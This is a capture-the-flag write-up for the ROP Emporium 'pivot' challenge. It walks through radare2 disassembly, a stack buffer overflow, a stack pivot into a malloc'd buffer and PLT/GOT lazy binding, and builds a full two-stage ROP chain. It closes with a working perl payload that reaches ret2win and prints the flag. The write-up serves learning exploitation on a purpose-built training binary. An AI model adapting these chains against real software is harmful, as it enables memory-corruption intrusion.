ROP Emporium CTF 7/7 pivot
This challenge uses a different pwnme
function to other ROP Emporium challenges.
First main()
will malloc
a 0x1000000
byte buffer and then send the address to pwnme()
.
$ r2 ./pivot -qc "aa ; pdf @sym.main"
/ (fcn) main 165
| int main (int argc, char **argv, char **envp);
...
| 0x004009ee mov edi, 0x1000000
| 0x004009f3 call sym.imp.malloc
...
| 0x00400a0e mov rdi, rax
| 0x00400a11 call sym.pwnme
Then pwnme()
, reads 0x100
bytes into the malloc
ed buffer and 0x40
into a stack buffer.
$ r2 ./pivot -qc "aa ; pdf @sym.pwnme"
/ (fcn) sym.pwnme 167
| sym.pwnme (int32_t arg1);
...
| 0x00400a3f sub rsp, 0x30
| 0x00400a43 mov qword [rbp-0x28], rdi
| 0x00400a47 lea rax, [rbp-0x20]
...
| 0x00400a96 mov rdx, qword [obj.stdin]
|
| 0x00400a9d mov rax, qword [rbp-0x28]
| 0x00400aa1 mov esi, 0x100
| 0x00400aa6 mov rdi, rax
| 0x00400aa9 call sym.imp.fgets
...
| 0x00400ac7 mov rdx, qword [obj.stdin]
| 0x00400ace lea rax, [rbp-0x20]
| 0x00400ad2 mov esi, 0x40
| 0x00400ad7 mov rdi, rax
| 0x00400ada call sym.imp.fgets
The offsets for the stack buffer overflow are the same as previous challenges.
$ perl -e 'print("\n" . ("\x00" x 0x28) . "fedcba")' |
gdb ./pivot --batch -ex run
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
Send your second chain now and it will land there
> Now kindly send your stack smash
>
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
As stated in the output, the goal this time is to call ret2win()
from libpivot.so
so there is no usefulFunction()
this time but there is usefulGadgets
.
$ r2 ./pivot -qc "is" | grep useful
076 0x00000b00 0x00400b00 GLOBAL NOTYPE 0 usefulGadgets
$ r2 ./pivot -qc "pd 8 @ 0x00400b00"
;-- usefulGadgets:
0x00400b00 58 pop rax
0x00400b01 c3 ret
0x00400b02 4894 xchg rax, rsp
0x00400b04 c3 ret
0x00400b05 488b00 mov rax, qword [rax]
0x00400b08 c3 ret
0x00400b09 4801e8 add rax, rbp
0x00400b0c c3 ret
After the overflow we only have 24 bytes of payload left (3 words). So the first thing we need to do is put the rest of the exploit in the malloc
ed buffer and modify the stack pointer to point there. This is called a stack pivot.
In usefulGadgets
, the xchg rax, rsp
one is exactly what we need but we also need the address of the malloc
ed buffer in rax
first.
Reading pwnme()
again shows that the buffer address (in rdi
) is copied to a local variable on the stack
| 0x00400a43 mov qword [rbp-0x28], rdi
and when we smash the stack, rax
contains the address of another stack variable
| 0x00400ace lea rax, [rbp-0x20]
So the pop rax
gadget is a red herring, all we need to do is add -8
to what is already in rax
to get the address of the local variable pointing to the malloc
buffer.
The add rax, rbp
is a clue, because before the overflow overwrites the return address on the stack, it overwrites the stored rbp
which is pop
ed into the rbp
register on ret
.
+----------------------------------+
| Stack |
+----------------------------------+
| saved rip |
+----------------------------------+
| saved rbp (rbp) |
+----------------------------------+
| ... |
| ... |
| ... |
| stack buffer (rbp-0x20) |
+----------------------------------+
| malloc buffer pointer (rbp-0x28) |
+----------------------------------+
The first stage rop chain just to do the stack pivot looks like this:
"\n" # skip the `malloc` buffer input for now
"\x00" x 0x20 # junk
0xfffffffffffffff8 # -8 => rbp
0x0000000000400b09 # add rax, rbp
0x0000000000400b05 # mov rax, qword [rax]
0x0000000000400b02 # xchg rax, rsp
$ perl -e 'print("\n" .
("\x00" x 0x20) .
"\xf8\xff\xff\xff\xff\xff\xff\xff" .
"\x09\x0b\x40\x00\x00\x00\x00\x00" .
"\x05\x0b\x40\x00\x00\x00\x00\x00" .
"\x02\x0b\x40\x00\x00\x00\x00\x00")' |
gdb ./pivot --batch -ex run -ex "info registers" |
grep -e bestow -e rsp
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
rsp 0x7ffff7bf1f18 0x7ffff7bf1f18
The reason the GDB output is 8 bytes off is because the CPU has pop
ed the first word into rip
before segfaulting, therefor incrementing rsp
by 8.
Unfortunately for us the ret2win()
function is not imported in the ELF.
$ r2 ./pivot -qc "ii"
[Imports]
Num Vaddr Bind Type Name
1 0x004007f0 GLOBAL FUNC free
2 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
3 0x00400800 GLOBAL FUNC puts
4 0x00400810 GLOBAL FUNC printf
5 0x00400820 GLOBAL FUNC memset
6 0x00400830 GLOBAL FUNC __libc_start_main
7 0x00400840 GLOBAL FUNC fgets
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x00400850 GLOBAL FUNC foothold_function
10 0x00400860 GLOBAL FUNC malloc
11 0x00400870 GLOBAL FUNC setvbuf
12 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
13 0x00400880 GLOBAL FUNC exit
14 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
That means no legitimate code in the application calls it. Most people gloss over this part and jump straight to the obvious solution without understanding why it works. But the thing about junk hacking is that getting to a solution is not the point. It’s about learning something.
When an ELF binary is launched by the OS, it is copied from disk into memory. If the ELF file is dynamically linked against shared libraries then the libraries also need to be copied into memory. But the important property of shared libraries is that they can be updated independently of the applications which use them so the address of functions inside the library are not known to the application at compile time.
So when the ELF file is executed, the loader (ld.so
) could create a big table with the address of every function in the shared libraries (called BIND_NOW
mode). However it is slow and the application probably doesn’t call all them functions every time it executes anyway. So the default behaviour is for the loader to fill that table with links to a function in the loader itself which will figure out where the desired library function is and cache the address so next time the function is called the CPU goes straight to the function instead of ld.so
again.
The way this is implemented is with two tables the Procedure Linkage Table (.plt
) and Global Offset Table .plt (.got.plt
).
The simple way to think of it is .plt
is code and .got.plt
is just a list of addresses (data). We can see this reflected in the permissions:
$ r2 ./pivot -qc "iS" | grep -e ' .plt$' -e ' .got.plt'
12 0x000007e0 176 0x004007e0 176 -r-x .plt
24 0x00002000 104 0x00602000 104 -rw- .got.plt
So calling a library function from the application actually executes the .plt
entry for that function and the .plt
code will jmp
to a corresponding address in the .got.plt
table. In the beginning, that .got.plt
address will point somewhere into ld.so
. The ld.so
code will figure out where the library function actually is and write that address to the .got.plt
. So the next time the .plt
code jmp
s to the address in the .got.plt
, it will go straight to the library function instead of ld.so
again.
When solving this challenge I drew diagrams to help myself understand it:
---------------[ 1st call to foothold_function .plt (0x00400850 ]---------------
+-----------------------+ qword [0x00602048] +-------------------------+
| 0x00400850 (.plt) |-------------------------->| 0x00602048 (.got.plt) |
| imp.foothold_function |<--------------------------| reloc.foothold_function |
| jmp qword [0x602048] | 0x00400856 | (qword)0x00400856 |
+-----------------------+ +-------------------------+
| jmp
v
+-------------------+
| 0x00400856 (.plt) |
| ... |
+-------------------+
| jmp
v
+---------+ mov qword ... 0x7fd25eed7970 +-------------------------+
| (ld.so) |-------------------------------->| 0x00602048 (.got.plt) |
| ... | | reloc.foothold_function |
+---------+ | 0x7fd25eed7970 |
| jmp +-------------------------+
v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
| foothold_function |
| ... |
+------------------------------+
-------------------------------------[ end ]------------------------------------
--------------[ 1+Nth call to foothold_function .plt (0x00400850 ]--------------
+-----------------------+ qword [0x00602048] +-------------------------+
| 0x00400850 (.plt) |-------------------------->| 0x00602048 (.got.plt) |
| imp.foothold_function |<--------------------------| reloc.foothold_function |
| jmp qword [0x602048] | 0x7fd25eed7970 | 0x7fd25eed7970 |
+-----------------------+ +-------------------------+
| jmp
v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
| foothold_function |
| ... |
+------------------------------+
-------------------------------------[ end ]------------------------------------
Now that we understand how shared library functions are called, the obvious solution is to
- call the
foothold_function
to get its address into.got.plt
- measure difference between
foothold_function
address andret2win
address - add difference to
foothold_function
address from.got.plt
jmp
to new address
Here is how we can calculate the offset of the two library functions
$ nm libpivot.so | grep -e foothold_function -e ret2win
0000000000000970 T foothold_function
0000000000000abe T ret2win
$ printf 0x%016x $((0xabe - 0x970))
0x000000000000014e
And this is what our second rop chain looks like
0x0000000000400850 ; foothold_function
0x0000000000400948 ; pop rbp
0x000000000000014e ; 0x14e => rbp
0x0000000000400b00 ; pop rax
0x0000000000602048 ; .got.plt[foothold_function] => rax
0x0000000000400b05 ; mov rax, qword [rax] (dereference pointer)
0x0000000000400b09 ; add rax, rbp
0x00000000004008f5 ; jmp rax
And this is how we can execute it in practice:
$ perl -e 'print("\x50\x08\x40\x00\x00\x00\x00\x00" .
"\x48\x09\x40\x00\x00\x00\x00\x00" .
"\x4e\x01\x00\x00\x00\x00\x00\x00" .
"\x00\x0b\x40\x00\x00\x00\x00\x00" .
"\x48\x20\x60\x00\x00\x00\x00\x00" .
"\x05\x0b\x40\x00\x00\x00\x00\x00" .
"\x09\x0b\x40\x00\x00\x00\x00\x00" .
"\xf5\x08\x40\x00\x00\x00\x00\x00" .
"\n" .
("\x00" x 0x20) .
"\xf8\xff\xff\xff\xff\xff\xff\xff" .
"\x09\x0b\x40\x00\x00\x00\x00\x00" .
"\x05\x0b\x40\x00\x00\x00\x00\x00" .
"\x02\x0b\x40\x00\x00\x00\x00\x00")' |
LD_LIBRARY_PATH=. ./pivot
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f09d6dd3f10
Send your second chain now and it will land there
> Now kindly send your stack smash
> foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}
(The flag is all the way to the right because there is no newline printed before)